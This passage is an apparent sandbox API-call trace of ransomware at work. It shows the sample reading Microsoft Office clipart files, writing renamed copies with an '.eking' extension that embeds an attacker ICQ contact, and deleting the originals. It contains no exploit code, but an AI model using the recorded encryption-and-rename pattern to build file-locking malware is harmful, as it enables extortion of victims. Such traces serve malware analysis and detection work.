liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.485] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0259.487] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x138c, lpOverlapped=0x0) returned 1 [0259.489] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1390, lpOverlapped=0x0) returned 1 [0259.491] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.491] CloseHandle (hObject=0x3a8) returned 1 [0259.491] CloseHandle (hObject=0x390) returned 1 [0259.492] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0 [0259.492] SetEvent (hEvent=0x2b8) returned 1 [0259.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.493] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7384) returned 1 [0259.493] CloseHandle (hObject=0x390) returned 1 [0259.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0259.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0259.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.494] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.494] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0259.495] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1cd8, lpOverlapped=0x0) returned 1 [0259.498] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1ce0, lpOverlapped=0x0) returned 1 [0259.499] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.499] CloseHandle (hObject=0x390) returned 1 [0259.499] CloseHandle (hObject=0x3a8) returned 1 [0259.500] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0 [0259.500] SetEvent (hEvent=0x2b8) returned 1 [0259.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.502] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4870) returned 1 [0259.502] CloseHandle (hObject=0x3a8) returned 1 [0259.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0259.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0259.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.503] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.504] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0259.504] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1306, lpOverlapped=0x0) returned 1 [0259.510] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1310, lpOverlapped=0x0) returned 1 [0259.511] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.511] CloseHandle (hObject=0x3a8) returned 1 [0259.511] CloseHandle (hObject=0x390) returned 1 [0259.512] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0 [0259.512] SetEvent (hEvent=0x2b8) returned 1 [0259.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.513] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=26886) returned 1 [0259.513] CloseHandle (hObject=0x390) returned 1 [0259.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0259.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0259.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.514] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.514] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0259.516] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6906, lpOverlapped=0x0) returned 1 [0259.519] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6910, lpOverlapped=0x0) returned 1 [0259.521] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.521] CloseHandle (hObject=0x390) returned 1 [0259.521] CloseHandle (hObject=0x3a8) returned 1 [0259.522] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0 [0259.522] SetEvent (hEvent=0x2b8) returned 1 [0259.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.523] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=28948) returned 1 [0259.523] CloseHandle (hObject=0x3a8) returned 1 [0259.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0259.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0259.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.524] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.524] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0259.525] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7114, lpOverlapped=0x0) returned 1 [0259.529] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7120, lpOverlapped=0x0) returned 1 [0259.530] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.530] CloseHandle (hObject=0x3a8) returned 1 [0259.531] CloseHandle (hObject=0x390) returned 1 [0259.531] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0 [0259.531] SetEvent (hEvent=0x2b8) returned 1 [0259.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.532] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11636) returned 1 [0259.532] CloseHandle (hObject=0x390) returned 1 [0259.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0259.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0259.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.533] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.533] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0259.535] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2d74, lpOverlapped=0x0) returned 1 [0259.538] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2d80, lpOverlapped=0x0) returned 1 [0259.540] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.540] CloseHandle (hObject=0x390) returned 1 [0259.540] CloseHandle (hObject=0x3a8) returned 1 [0259.540] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0 [0259.541] SetEvent (hEvent=0x2b8) returned 1 [0259.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.541] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=22516) returned 1 [0259.541] CloseHandle (hObject=0x3a8) returned 1 [0259.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0259.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0259.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.542] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.542] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0259.543] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x57f4, lpOverlapped=0x0) returned 1 [0259.546] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5800, lpOverlapped=0x0) returned 1 [0259.547] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.548] CloseHandle (hObject=0x3a8) returned 1 [0259.548] CloseHandle (hObject=0x390) returned 1 [0259.548] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0 [0259.548] SetEvent (hEvent=0x2b8) returned 1 [0259.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.549] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16180) returned 1 [0259.549] CloseHandle (hObject=0x390) returned 1 [0259.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0259.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0259.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.550] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.550] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program 